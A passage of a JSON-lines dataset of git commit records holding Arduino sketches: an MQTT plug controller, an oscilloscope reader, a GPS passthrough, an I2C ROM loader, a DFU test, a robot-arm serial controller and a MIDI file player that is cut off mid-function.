json\");\n return;\n }\n\n if (strcmp(root[\"devid\"], g_devid) != 0) {\n Serial.println(\"bad devid\");\n return;\n }\n\n if (strcmp(root[\"cmd\"], \"plug_set\") == 0) {\n uint8_t st = root[\"status\"];\n plug_set(st);\n }\n}\n\nvoid extMessageReceived(EXTED_CMD cmd, int status, String payload, unsigned int length) {\n Serial.println(\"em\");\n}\n\nvoid init_ethernet() {\n IPAddress ip(192,168,2,183);\n \n Ethernet.begin(mac, ip);\n\/\/ Ethernet.begin(mac);\n\n Serial.print(\"i:\"); \n Serial.println(Ethernet.localIP());\n Serial.print(\"s:\"); \n Serial.println(Ethernet.subnetMask());\n Serial.print(\"g:\"); \n Serial.println(Ethernet.gatewayIP());\n Serial.print(\"d:\"); \n Serial.println(Ethernet.dnsServerIP());\n\n}\n\nvoid setup() {\n\n Serial.begin(57600);\n Serial.println(\"init..\");\n\n pinMode(PIN_CONTROL, OUTPUT);\n digitalWrite(PIN_CONTROL, HIGH);\n init_ethernet();\n\n \/\/TODO: if we can't get reg info and tick info\n get_host_v2(g_appkey, url);\n get_ip_port(url, broker_addr, &port);\n\n setup_with_appkey_and_devid(g_appkey, g_devid);\n\n client.begin(broker_addr, port, net);\n connect();\n Serial.println(\"init..ok\");\n}\n\nvoid loop() {\n client.loop();\n\n check_connect();\n\n#if 0\n if (millis() - g_last_check_ms > 20000) {\n g_last_check_ms = millis();\n client.publish(g_topic, \"test\");\n }\n#endif\n delay(100);\n}\n\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"b6596a4e97517d70dfe82a0434f986aa5b3640d0","subject":"Modularization","message":"Modularization\n\nMoved tests to functions to make it possible to make better time choices\nMoved time update to function\n","repos":"buelowp\/sleepintimer","old_file":"sleepintimer\/sleepintimer.ino","new_file":"sleepintimer\/sleepintimer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/buelowp\/sleepintimer.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"3c0ca1f4d697ba4733ca668a8867fc4d5e744b46","subject":"Arduino sketch for oscilloscope.","message":"Arduino sketch for oscilloscope.\n","repos":"tjyrz\/vhdl_fft,corywalker\/vhdl_fft,cmwslw\/vhdl_fft","old_file":"arduino\/osc\/osc.ino","new_file":"arduino\/osc\/osc.ino","new_contents":"int startPin = 2;\nint busyPin = 3;\nint clockPin = 13;\nint dataPin = 12;\n\nvoid setup() {\n pinMode(startPin, OUTPUT);\n pinMode(busyPin, INPUT);\n pinMode(clockPin, OUTPUT);\n pinMode(dataPin, INPUT);\n \/\/ initialize serial:\n Serial.begin(115200);\n}\n\nint iter = 0;\n\nvoid loop() {\n \n \/\/ Throw out first bit\n digitalWrite(clockPin, LOW);\n digitalWrite(startPin, HIGH);\n digitalWrite(startPin, LOW);\n \n delayMicroseconds(5);\n \n while(digitalRead(busyPin)) {}\n \n delayMicroseconds(5);\n \n for (int j = 0; j < 4; j++) {\n \/\/ Read the 16 bit value\n unsigned int val = 0;\n for (int i = 0; i < 16; i++) {\n digitalWrite(clockPin, HIGH);\n val += digitalRead(dataPin) << (15-i);\n digitalWrite(clockPin, LOW);\n }\n Serial.println(val);\n }\n \n delay(1);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/osc\/osc.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2a8888393a9d6b83d1cfe24390f2b291dd2a0494","subject":"GPS_SerialPassthrough","message":"GPS_SerialPassthrough\n\nGPS_SerialPassthrough for ESP32\n","repos":"bencoman\/siteBKNS,bencoman\/siteBKNS,bencoman\/siteBKNS,bencoman\/siteBKNS","old_file":"ESP32\/Examples\/GPS_SerialPassthrough\/GPS_SerialPassthrough.ino","new_file":"ESP32\/Examples\/GPS_SerialPassthrough\/GPS_SerialPassthrough.ino","new_contents":"\/*\n SerialPassthrough sketch\n\n Read the GPS data and output to serial monitor\n\n Some boards, like the Arduino 101, the MKR1000, Zero, or the Micro,\n have one hardware serial port attached to Digital pins 0-1, and a\n separate USB serial port attached to the IDE Serial Monitor.\n This means that the \"serial passthrough\" which is possible with\n the Arduino UNO (commonly used to interact with devices\/shields that\n require configuration via serial AT commands) will not work by default.\n\n This sketch allows you to emulate the serial passthrough behaviour.\n Any text you type in the IDE Serial monitor will be written\n out to the serial port on Digital pins 0 and 1, and vice-versa.\n\n On the 101, MKR1000, Zero, and Micro, \"Serial\" refers to the USB Serial port\n attached to the Serial Monitor, and \"Serial1\" refers to the hardware\n serial port attached to pins 0 and 1. This sketch will emulate Serial passthrough\n using those two Serial ports on the boards mentioned above,\n but you can change these names to connect any two serial ports on a board\n that has multiple ports.\n\n Created 23 May 2016\n by Erik Nyquist\n*\/\n\n#include \"HardwareSerial.h\"\nHardwareSerial Serial2(2);\n\nvoid setup() {\n Serial.begin(9600);\n Serial2.begin(9600);\n}\n\nvoid loop() {\n if (Serial.available()) { \/\/ If anything comes in Serial (USB),\n Serial2.write(Serial.read()); \/\/ read it and send it out Serial1 (pins 0 & 1)\n }\n\n if (Serial2.available()) { \/\/ If anything comes in Serial1 (pins 0 & 1)\n Serial.write(Serial2.read()); \/\/ read it and send it out Serial (USB)\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP32\/Examples\/GPS_SerialPassthrough\/GPS_SerialPassthrough.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"28cbb27dfd6fb2ffd1551a6d547a879371014e5d","subject":"Stand-alone GD3 ROM loader","message":"Stand-alone GD3 ROM loader\n","repos":"jamesbowman\/gd2-lib,jamesbowman\/gd2-lib,jamesbowman\/gd2-lib","old_file":"contrib\/gd3load.ino","new_file":"contrib\/gd3load.ino","new_contents":"#include <EEPROM.h>\n#include <SPI.h>\n#include <GD2.h>\n\n#define SD_PIN 9\n#include \"transports\/wiring.h\"\n\n#include \"gd3load_assets.h\"\n\nGDTransport GDTR;\n\nuint8_t gpio, gpio_dir;\n\nvoid set_SDA(byte n)\n{\n GDTR.__wr16(REG_GPIO_DIR, gpio_dir | (0x03 - n)); \/\/ Drive SCL, SDA low\n}\n\nvoid set_SCL(byte n)\n{\n GDTR.__wr16(REG_GPIO, gpio | (n << 1));\n}\n\nint get_SDA(void)\n{\n return GDTR.__rd16(REG_GPIO) & 1;\n}\n\nvoid i2c_start(void) \n{\n set_SDA(1);\n set_SCL(1);\n set_SDA(0);\n set_SCL(0);\n}\n\nvoid i2c_stop(void) \n{\n set_SDA(0);\n set_SCL(1);\n set_SDA(1);\n set_SCL(1);\n}\n\nint i2c_rx1()\n{\n set_SDA(1);\n set_SCL(1);\n byte r = get_SDA();\n set_SCL(0);\n return r;\n}\n\nvoid i2c_tx1(byte b)\n{\n set_SDA(b);\n set_SCL(1);\n set_SCL(0);\n}\n\nint i2c_tx(byte x)\n{\n for (int i = 7; i >= 0; i--)\n i2c_tx1(1 & (x >> i));\n return i2c_rx1();\n}\n\nint i2c_rx(int nak)\n{\n byte r = 0;\n for (byte i = 0; i < 8; i++)\n r = (r << 1) | i2c_rx1();\n i2c_tx1(nak);\n return r;\n}\n\nvoid i2c_begin(void)\n{\n gpio = GDTR.__rd16(REG_GPIO) & ~3;\n gpio_dir = GDTR.__rd16(REG_GPIO_DIR) & ~3;\n\n \/\/ 2-wire software reset\n i2c_start();\n i2c_rx(1);\n i2c_start();\n i2c_stop();\n}\n\n#define ADDR 0xa0\n\nvoid ram_write(const uint8_t *v)\n{\n for (byte i = 0; i < 128; i += 8) {\n i2c_start();\n i2c_tx(ADDR);\n i2c_tx(i);\n for (byte j = 0; j < 8; j++)\n i2c_tx(*v++);\n i2c_stop();\n delay(6);\n }\n}\n\nbyte ram_read(byte a)\n{\n i2c_start();\n i2c_tx(ADDR);\n i2c_tx(a);\n\n i2c_start();\n i2c_tx(ADDR | 1);\n byte r = i2c_rx(1);\n i2c_stop();\n return r;\n}\n\nvoid ramdump(void)\n{\n for (int i = 0; i < 128; i++) {\n byte v = ram_read(i);\n Serial.print(i, HEX);\n Serial.print(\" \");\n Serial.println(v, HEX);\n }\n}\n\nvoid ram_get(byte *v)\n{\n i2c_start();\n i2c_tx(ADDR);\n i2c_tx(0);\n\n i2c_start();\n i2c_tx(ADDR | 1);\n for (int i = 0; i < 128; i++) {\n *v++ = i2c_rx(i == 127);\n \/\/ Serial.println(v[-1], DEC);\n }\n i2c_stop();\n}\n\nstatic void load_flash(uint8_t *config)\n{\n byte b[128];\n\n i2c_begin();\n ram_write(config);\n ram_get(b);\n int diff = memcmp(config, b, 128);\n if (diff != 0) {\n Serial.println(\"Flash fault\");\n GD.Clear();\n GD.cmd_text(GD.w \/ 2, GD.h \/ 2, 30, OPT_CENTERX, \"Flash fault\");\n GD.swap();\n for (;;);\n }\n Serial.println(\"Flash verified OK\");\n GD.begin(0);\n}\n\n\nvoid setup()\n{\n Serial.begin(1000000);\n Serial.println(__LINE__);\n GDTR.begin0();\n GDTR.begin1();\n GDTR.__end();\n Serial.println(__LINE__);\n\n i2c_begin();\n ram_write(GD3_43__init);\n ramdump();\n}\n\nvoid loop()\n{\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'contrib\/gd3load.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"8b07a1b97e6a38a4e83c41b086065bdba1accf92","subject":"samples: add test sketch for arduino","message":"samples: add test sketch for arduino\n","repos":"ciminaghi\/libdfu,ciminaghi\/libdfu,ciminaghi\/libdfu","old_file":"samples\/libdfu_test.ino","new_file":"samples\/libdfu_test.ino","new_contents":"#include <dfu.h>\n#include <dfu-host.h>\n#include <dfu-cmd.h>\n#include <user_config.h>\n#include <dfu-internal.h>\n#include <stk500-device.h>\n#include <dfu-stk500.h>\n#include <dfu-linux.h>\n#include <esp8266-serial.h>\n#include <dfu-esp8266.h>\n\n#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n\nstruct dfu_data *global_dfu;\nstruct dfu_binary_file *global_binary_file;\n\nconst char* ssid = \"SSID\";\nconst char* password = \"PASSWORD\";\n\nvoid setup() {\n Serial1.begin(115200, SERIAL_8N1, SERIAL_TX_ONLY);\n delay(500);\n WiFi.begin(ssid, password); \n\n global_dfu = dfu_init(&esp8266_serial_arduinouno_hacked_interface_ops,\n NULL,\n NULL,\n &stk500_dfu_target_ops,\n &atmega328p_device_data,\n &esp8266_dfu_host_ops);\n\n if (!global_dfu) {\n Serial1.printf(\"Error initializing dfu library\");\n \/* FIXME: Is this ok ? *\/\n return;\n }\n\n global_binary_file = dfu_binary_file_start_rx(&dfu_rx_method_http_arduino, global_dfu, NULL);\n if (!global_binary_file) {\n Serial1.printf(\"Error instantiating binary file\");\n return;\n }\n \n if (dfu_binary_file_flush_start(global_binary_file) < 0)\n Serial1.printf(\"Error in dfu_binary_file_flush_start()\");\n}\n\nvoid loop() {\n static int done = 0;\n \n switch (dfu_idle(global_dfu)) {\n case DFU_ERROR:\n Serial1.printf(\"Error programming file\");\n break;\n case DFU_ALL_DONE:\n if (done)\n break;\n done = 1;\n Serial1.printf(\"Programming OK\");\n dfu_target_go(global_dfu);\n break;\n case DFU_CONTINUE:\n break;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'samples\/libdfu_test.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"8bf3fe7ceada324205c5250ae3fae56e03ce5a5e","subject":"Create SerialController.ino","message":"Create SerialController.ino","repos":"Armdroid\/Armdroid-Arduino-Library,Armdroid\/Armdroid-Arduino-Library","old_file":"examples\/SerialController\/SerialController.ino","new_file":"examples\/SerialController\/SerialController.ino","new_contents":"\/*\n * Armdroid Serial Controller Sketch\n * Copyright (C) Richard Morris 2014 - http:\/\/armdroid1.blogspot.co.uk\n *\n * 1.0 Initial version\n * 1.1 Added variable speed control\n * 1.2 Added support for driving multiple motors\n * 1.3 Moved all Armdroid routines into new class library\n *\/\n\n#include \"Armdroid.h\"\n\n#define PIN_D1 2 \/\/ declare I\/O pins we're using\n#define PIN_D2 3\n#define PIN_D3 4\n#define PIN_D4 5\n#define PIN_D5 6\n#define PIN_D6 7\n#define PIN_D7 8\n#define PIN_D8 9\n\n\/\/ initialize the Armdroid library on pins 2 through 9:\nArmdroid myArm(PIN_D1, PIN_D2, PIN_D3, PIN_D4, PIN_D5, PIN_D6, PIN_D7, PIN_D8); \n\n\/\/ variables for recieving and decoding commands:\nunsigned int rxCmdPos;\nint rxCmdVal;\nint rxCmdArg[5];\n\n\/\/ temporary buffer for string formating:\nchar message[80];\n\nvoid setup()\n{\n Serial.begin(9600);\n}\n\nvoid loop()\n{\n if (!Serial) {\n \/\/ while the serial stream is not open, do nothing:\n while(!Serial);\n Serial.println(\"Welcome, Armdroid!\");\n \n \/\/ reset command variables for session\n rxCmdPos = rxCmdVal = 0;\n memset(rxCmdArg, 0, sizeof(rxCmdArg));\n }\n \n if (Serial.available()) {\n const char ch = Serial.read();\n \n if (isDigit(ch))\n rxCmdVal = (rxCmdVal * 10) + (ch - '0'); \/\/ accumulate value\n else if (ch == '-')\n rxCmdVal = rxCmdVal * -1;\n else if (ch == ',') {\n rxCmdArg[rxCmdPos++] = rxCmdVal; \/\/ shift received value into\n \/\/ arguments array\n if (rxCmdPos == 6)\n rxCmdPos = 0; \/\/ wrap argument index\n \n rxCmdVal = 0; \/\/ reset accumulator\n }\n\n else if (ch == 'd') {\n \/\/ drive motor (channel specified in Arg[0], steps in Accumulator)\n myArm.driveMotor(rxCmdArg[0], rxCmdVal);\n \n \/\/ return offsets for feedback\n SerialPrintMotorOffsets();\n \n \/\/ reset accumulator\n rxCmdPos = rxCmdVal = 0;\n }\n else if (ch == 'D') {\n \/\/ drive all motors specified in Arg[0]..[4] and Accumulator \n MTR_CHANNELS channels = { rxCmdArg[0], rxCmdArg[1], rxCmdArg[2], rxCmdArg[3], rxCmdArg[4], rxCmdVal };\n myArm.driveAllMotors(channels);\n \n \/\/ return offsets for feedback\n SerialPrintMotorOffsets();\n \n \/\/ reset accumulator\n rxCmdPos = rxCmdVal = 0;\n }\n else if (ch == 'g') {\n \/\/ for debugging command args\n Serial.print(\"debug = \");\n for(unsigned int i = 0; i < 5; i++)\n {\n Serial.print(rxCmdArg[i]);\n Serial.print(' ');\n }\n Serial.println(rxCmdVal);\n }\n else if (ch == 'h') {\n \/\/ returns to home position\n MTR_CHANNELS offs = myArm.getOffsets();\n offs.channel_1 = -offs.channel_1;\n offs.channel_2 = -offs.channel_2;\n offs.channel_3 = -offs.channel_3;\n offs.channel_4 = -offs.channel_4;\n offs.channel_5 = -offs.channel_5;\n offs.channel_6 = -offs.channel_6;\n myArm.driveAllMotors(offs);\n SerialPrintMotorOffsets();\n }\n else if (ch == 'o') {\n \/\/ returns current offset counters\n SerialPrintMotorOffsets();\n }\n else if (ch == 'r') {\n \/\/ resets home position\n myArm.resetOffsetCounts();\n SerialPrintMotorOffsets();\n \/\/ reset all command variables\n rxCmdPos = rxCmdVal = 0;\n memset(rxCmdArg, 0, sizeof(rxCmdArg));\n }\n else if (ch == 's') {\n \/\/ set desired speed in RPM\n myArm.setSpeed(rxCmdVal);\n Serial.print(\"speed = \");\n Serial.println(rxCmdVal);\n rxCmdVal = 0;\n }\n else if (ch == 'v') {\n \/\/ returns firmware\/protocol version\n Serial.println(\"version = 1.3\");\n }\n }\n}\n\nvoid SerialPrintMotorOffsets()\n{\n MTR_CHANNELS offsets = myArm.getOffsets();\n sprintf(message, \"offsets = %d,%d,%d,%d,%d,%d\", offsets.channel_1,\n offsets.channel_2,\n offsets.channel_3,\n offsets.channel_4,\n offsets.channel_5,\n offsets.channel_6);\n Serial.println(message);\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/SerialController\/SerialController.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ff04a22fa6f7b33509c0902d8e78e23c5d2358f0","subject":"Create 4.2.14.ino","message":"Create 4.2.14.ino","repos":"deseipel\/Arduino","old_file":"4.2.14.ino","new_file":"4.2.14.ino","new_contents":"\n\n#include <Adafruit_ST7735.h>\n#include <Adafruit_GFX.h>\n#include <SoftwareSerial.h>\n#include <SdFatUtil.h>\n#include <SdFat.h>\n\n#include <MIDIFile.h>\n#include <SPI.h>\n\n\/*MIDI MAPPER \/ MIDI FILE PLAYER \/ MASTER CLOCK*\n \n **********SD Card is at FULL SPEED FOR TESTING!!!!!!!!!!!!**************************\n Need to MAP THE PINS THAT ARE USED\n Need to re-test MIDI stop\/start, etc with newer SD interface (TFT)\n - will play by 'hearing' a start command.\n \n TFT Shield:\n -----------------------------------\n The shield uses the following pins:\n +5V\n GND\n Digital pin 4 (SD chip select)\n Digital pin 8 (TFT data\/command)* ---issue w\/MIDI shield (2\/10\/14: changed MIDI to 2,3 to attempt workaround).\n Digital pin 10 (TFT chip select) ---issue w\/SD shield (2\/14\/14: removed ITEAD SD shield, used built in SD on TFT shield).\n Digital pins 11-13 for SPI communication (MOSI, MISO, SCK respectively)\n Digital pins 50-52 for SPI on Arduino Mega boards (all types)\n Analog pin 3 (joystick input)\n \n \n MIDI Shield\n ----------------\n D8, D9\n A0, A1\n \n \n ITEAD SD shield (deprecated)\n --------------------\n D13 \/ SCK\n D12 \/ MISO\n D11 \/ MOSI ~\n D10 \/ SS ~\n \n \n \n \n TO DO:\n \nTFT LCD\n1. Files are printed to screen. Need to figure out a menu system \n \n CLOCK\n 2. TO RESOLVE ISSUE 1, FIND A WAY TO TRANSLATE THE KORG ANALOG SYNC (5V PULSE) TO ARDUINO MASTER CLOCK. \n - idea: run line into Analog input and use it as a digital input. Use digitalread to see when it's 5 volts. \n \n 3. need to change the MIDI TX\/RX to 8,9 to support the LCD screen\n \n 4. Loop MIDI files?\n \n \n KORG ES1\n \n -NEED TO TEST NEW CODE ON THAT\n \n \n ISSUES:\n 1. A PLAY COMMAND STARTS THE KORG SYNTH PLAYING A SEQUENCE IN ITS MEMORY. \n - CHANGING THE CLOCK TO INTERNAL FIXES THAT, BUT THEN IT WON'T THEN FOLLOW THE MASTER CLOCK SENT BY THE ARDUINO. \n \n \n *\/\n\n\/\/\/ Edit for Shield Pinouts!\n#define SD_CS 4 \/\/ Chip select line for SD card\n#define TFT_CS 10 \/\/ Chip select line for TFT display\n#define TFT_DC 8 \/\/ Data\/command line for TFT\n#define TFT_RST 0 \/\/ Reset line for TFT (or connect to +5V)\n\nAdafruit_ST7735 tft = Adafruit_ST7735(TFT_CS, TFT_DC, TFT_RST);\n\n#define Neutral 0\n#define Press 1\n#define Up 2\n#define Down 3\n#define Right 4\n#define Left 5\n\n\/\/ Check the joystick position\nint CheckJoystick()\n{\n int joystickState = analogRead(3);\n\n if (joystickState < 50) return Left;\n if (joystickState < 150) return Down;\n if (joystickState < 250) return Press;\n if (joystickState < 500) return Right;\n if (joystickState < 650) return Up;\n return Neutral;\n} \n\n\nbyte\tNoteOff\t = 0x80;\t\/\/\/< Note Off\nbyte\tNoteOn = 0x90;\t\/\/\/< Note On\nbyte\tAfterTouchPoly = 0xA0;\t\/\/\/< Polyphonic AfterTouch\nbyte\tControlChange = 0xB0;\t\/\/\/< Control Change \/ Channel Mode\nbyte\tProgramChange = 0xC0;\t\/\/\/< Program Change\nbyte\tAfterTouchChannel = 0xD0;\t\/\/\/< Channel (monophonic) AfterTouch\nbyte\tPitchBend = 0xE0;\t\/\/\/< Pitch Bend\nbyte\tSystemExclusive = 0xF0;\t\/\/\/< System Exclusive\nbyte\tTimeCodeQuarterFrame = 0xF1;\t\/\/\/< System Common - MIDI Time Code Quarter Frame\nbyte\tSongPosition = 0xF2;\t\/\/\/< System Common - Song Position Pointer\nbyte\tSongSelect = 0xF3;\t\/\/\/< System Common - Song Select\nbyte\tTuneRequest = 0xF6;\t\/\/\/< System Common - Tune Request\nbyte\tClock = 0xF8;\t\/\/\/< System Real Time - Timing Clock\nbyte\tStart = 0xFA;\t\/\/\/< System Real Time - Start\nbyte\tContinue = 0xFB;\t\/\/\/< System Real Time - Continue\nbyte\tStop = 0xFC;\t\/\/\/< System Real Time - Stop\nbyte\tActiveSensing = 0xFE;\t\/\/\/< System Real Time - Active Sensing\nbyte\tSystemReset = 0xFF;\t\/\/\/< System Real Time - System Reset\nbyte\tInvalidType = 0x00; \/\/\/< For notifying errors\n\n\nbyte commandByte;\nbyte inchannel;\nbyte inNote;\nbyte invelocity;\n\nSoftwareSerial SSerial(2, 3); \/\/ RX, TX\n\nlong bpm = 120;\nlong tempo = 1000\/(bpm\/60);\nlong prevmillis = 0;\nlong interval = tempo\/24; \/\/interval is the number of milliseconds defined by tempo formula.\n\nSdFat\tSD;\nMIDIFile SMF;\n\/\/SdFile file;\n\n\/\/ SD chip select pin for SPI comms.\n\/\/ Arduino Ethernet shield, pin 4.\n\/\/ Default SD chip select is the SPI SS pin (10).\n\/\/ Other hardware will be different as documented for that hardware.\n\/\/#define SD_SELECT 10\n\n#define\tWAIT_DELAY\t2000\t\/\/ ms\n\n#define\tARRAY_SIZE(a)\t(sizeof(a)\/sizeof(a[0]))\n\nconst size_t MAX_FILE_COUNT = 500;\n\nconst char* FILE_EXT = \"MID\";\n\nsize_t fileCount = 0;\n\nuint16_t fileIndex[MAX_FILE_COUNT];\n\n\/\/ store error strings in flash to save RAM\n#define error(s) SD.errorHalt_P(PSTR(s))\n\n\nbyte P = 0; \/\/program or patch number\nbyte M1 = 0; \/\/mute for part 1 off\nbyte M2 = 0; \/\/mute for part 2 off\nbyte M3 = 0; \/\/mute for part 3 off\nbyte M4 = 0; \/\/mute for part 4 off\nbyte M5 = 0; \/\/mute for part 5 off\nbyte M6a = 0; \/\/mute for part 6a off\nbyte M6b = 0; \/\/mute for part 6b off\nbyte M7a = 0; \/\/mute for part 7a off\nbyte M7b = 0; \/\/mute for part 7b off\nbyte S = 0; \/\/stop\/start bit\n\n\n\/*void HandleClock() {\n \n \/\/do stuff ?\n \n }\n *\/\n char name[13];\n String strname = \"\";\nSdFile root;\nvoid getFileNames(){\n \n while (root.openNext(SD.vwd(), O_READ)) {\n root.getFilename(name);\n root.close();\n strname = name;\n \n if (strname.endsWith(\".MID\")) {\n tft.println(name); \n \n }\n \n}}\n\/\/ root = SD.open(\"\/\");\n\/\/ printDirectory(root);\n\/\/}\n\/\/\n\/\/void printDirectory(SdFile dir) {\n\/\/ while(true) {\n\/\/\n\/\/ SdFile entry = dir.openNextFile();\n\/\/ if (! entry) {\n\/\/ dir.rewindDirectory();\n\/\/ break;\n\/\/ }\n\/\/ else\n\/\/ entry.close(); \n\/\/\n\/\/ tft.println(entry.name());\n\/\/ }\n \n \n\/\/ dir_t dir;\n\/\/ char name[13];\n\/\/ \/\/ start at beginning of root directory\n\/\/ SD.vwd()->rewind();\n\/\/\n\/\/ \/\/ find files\n\/\/ while (SD.vwd()->readDir(&dir) == sizeof(dir)) {\n\/\/ if (strncmp((char*)&dir.name[8], FILE_EXT, 3)) continue;\n\/\/ if (fileCount >= MAX_FILE_COUNT) error(\"Too many files\");\n\/\/ fileIndex[fileCount++] = SD.vwd()->curPosition()\/sizeof(dir) - 1;\n\/\/ }\n\/\/\n\/\/ PgmPrint(\"Found count: \");\n\/\/ Serial.println(fileCount);\n\/\/ char *tuneList[fileCount];\n\/\/\n\/\/ for (size_t i = 0; i < fileCount; i++) {\n\/\/ if (!file.open(SD.vwd(), fileIndex[i], O_READ)) error(\"open failed\");\n\/\/ file.getFilename(name);\n\/\/ PgmPrint(\"Opened: \");\n\/\/ Serial.println(name);\n\/\/ \/\/ process file here\n\/\/ tuneList[i]=name;\n\/\/ file.close();\n\/\/ }\n\/\/ PgmPrintln(\"Done\");\n\/\/}\n\n\n\n\n\/\/char *tuneList[] = root = SD.open(\"\/\");\n\/\/{\n\/\/ \"LOOPDEMO.MID\",\n\/\/ \"XMAS.MID\"\n\/\/};\n\n\/\/ }\n\n\n\n\n\nvoid sendProgramChange(byte Program, byte inchannel){\n SSerial.write(P);\n SSerial.write(inchannel);\n}\n\nvoid sendChangeControl(byte ControlNumber,byte ControlValue,byte inchannel){\n SSerial.write(ControlChange);\n SSerial.write(ControlNumber);\n SSerial.write(ControlValue);\n inchannel = inchannel;\n SSerial.write(inchannel);\n}\n\nvoid sendNoteOff(byte inNote, byte invelocity, byte inchannel){\n SSerial.write(NoteOff);\n SSerial.write(inNote);\n SSerial.write(invelocity);\n SSerial.write(inchannel);\n}\nvoid checkdata(){\n Serial.println(commandByte);\n Serial.println(inNote);\n Serial.println(invelocity);\n}\n\nvoid HandleNoteOn (byte commandByte, byte inNote, byte invelocity){\n \/\/if note X is sent, send program change control to go up\n \/\/todo: \n\n if (invelocity>0){ \/\/needs to be greater than zero, not equal to,\n switch (inNote) {\n case 58: \/\/note value of A#3 or 0x3a \n if (S == 0){\n S++;\n \/\/ MIDI.sendRealTime(Start);\n SSerial.write(Start);\n Play(); \/\/\n }\n else\n {\n S--;\n \/\/ MIDI.sendRealTime(Stop);\n SSerial.write(Stop); \n SMF.close(); \/\/\/probably working, but the player just moves to the next song...\n \/\/\/\/ MIDI.sendSongPosition(0);\n }\n break;\n case 60: \/\/note value of C4 or 0x3C, handles program change 'up'\n if (P == 127){ \/\/this notes that the program is at the highest of 127 and needs reset to 0\n P=0;\n sendChangeControl(99,05,10); \/\/double check these control change msgs\n sendChangeControl(98,107,10);\n sendChangeControl(06,0,10);\n sendChangeControl(99,05,10);\n sendChangeControl(98,108,10);\n sendChangeControl(06,0,10);\n sendProgramChange(P,10);\n }\n else\n {\n P++;\n sendChangeControl(99,05,10);\n sendChangeControl(98,107,10);\n sendChangeControl(06,0,10);\n sendChangeControl(99,05,10);\n sendChangeControl(98,108,10);\n sendChangeControl(06,0,10);\n sendProgramChange(P,10);\n\n }\n break;\n case 62: \/\/ note value of D4 or 0x3E, handles program change 'down'.\n if (P== 0){\n P=127;\n sendChangeControl(99,05,10);\n sendChangeControl(98,107,10);\n sendChangeControl(06,0,10);\n sendChangeControl(99,05,10);\n sendChangeControl(98,108,10);\n sendChangeControl(06,0,10);\n \/\/ MIDI.sendProgramChange(P,10); \n }\n else \n {\n P--;\n sendChangeControl(99,05,10);\n sendChangeControl(98,107,10);\n sendChangeControl(06,0,10);\n sendChangeControl(99,05,10);\n sendChangeControl(98,108,10);\n sendChangeControl(06,0,10);\n \/\/ MIDI.sendProgramChange(P,10);\n\n }\n break;\n case 64:\t\t\/\/part 1 mute, M variable tells us if it's muted already; all these mutes actually set the volume to zero, uses the volume NRPNs!\n if (M1==0) {\n sendChangeControl(99,5,10);\n sendChangeControl(98,1,10);\n sendChangeControl(06,0,10); \/\/sets level to zero, for part 1\n \/\/need to toggle it\n M1=1;\n }\n else {\n sendChangeControl(99,5,10);\n sendChangeControl(98,1,10);\n sendChangeControl(06,120,10);\n M1=0;\n }\n\n break;\n case 66:\n if (M2==0) {\n sendChangeControl(99,5,10);\n sendChangeControl(98,9,10);\n sendChangeControl(06,0,10); \/\/sets level to zero, for part 2\n \/\/need to toggle it\n M2=1;\n }\n else {\n sendChangeControl(99,5,10);\n sendChangeControl(98,9,10);\n sendChangeControl(06,120,10);\n M2=0;\n }\n break;\n case 68: \/\/mute for part 3\n if (M3==0) {\n sendChangeControl(99,5,10);\n sendChangeControl(98,17,10);\n sendChangeControl(06,0,10); \/\/sets level to zero, for part 3\n \/\/need to toggle it\n M3=1;\n }\n else {\n sendChangeControl(99,5,10);\n sendChangeControl(98,17,10);\n sendChangeControl(06,120,10);\n M3=0;\n }\n break;\n case 70:\n if (M4==0) {\n sendChangeControl(99,5,10);\n sendChangeControl(98,25,10);\n sendChangeControl(06,0,10); \/\/sets level to zero, for part 1\n \/\/need to toggle it\n M4=1;\n }\n else {\n sendChangeControl(99,5,10);\n sendChangeControl(98,25,10);\n sendChangeControl(06,120,10);\n M4=0;\n }\n break;\n case 72:\n if (M5==0) {\n sendChangeControl(99,5,10);\n sendChangeControl(98,33,10);\n sendChangeControl(06,0,10); \/\/sets level to zero, for part 1\n \/\/need to toggle it\n M5=1;\n }\n else {\n sendChangeControl(99,5,10);\n sendChangeControl(98,33,10);\n sendChangeControl(06,120,10);\n M5=0;\n }\n break;\n case 74:\n if (M6a==0) {\n sendChangeControl(99,5,10);\n sendChangeControl(98,41,10);\n sendChangeControl(06,0,10); \/\/sets level to zero, for part 1\n \/\/need to toggle it\n M6a=1;\n }\n else {\n sendChangeControl(99,5,10);\n sendChangeControl(98,41,10);\n sendChangeControl(06,120,10);\n M6a=0;\n }\n break;\n case 76:\n if (M6b==0) {\n sendChangeControl(99,5,10);\n sendChangeControl(98,49,10);\n sendChangeControl(06,0,10); \/\/sets level to zero, for part 1\n \/\/need to toggle it\n M6b=1;\n }\n else {\n sendChangeControl(99,5,10);\n sendChangeControl(98,49,10);\n sendChangeControl(06,120,10);\n M6b=0;\n }\n break;\n case 78:\n if (M7a==0) {\n sendChangeControl(99,5,10);\n sendChangeControl(98,57,10);\n sendChangeControl(06,0,10); \/\/sets level to zero, for part 1\n \/\/need to toggle it\n M7a=1;\n }\n else {\n sendChangeControl(99,5,10);\n sendChangeControl(98,57,10);\n sendChangeControl(06,120,10);\n M7a=0;\n }\n break;\n case 80:\n if (M7b==0) {\n sendChangeControl(99,5,10);\n sendChangeControl(98,65,10);\n sendChangeControl(06,0,10); \/\/sets level to zero, for part 1\n \/\/need to toggle it\n M7b=1;\n }\n else {\n sendChangeControl(99,5,10);\n 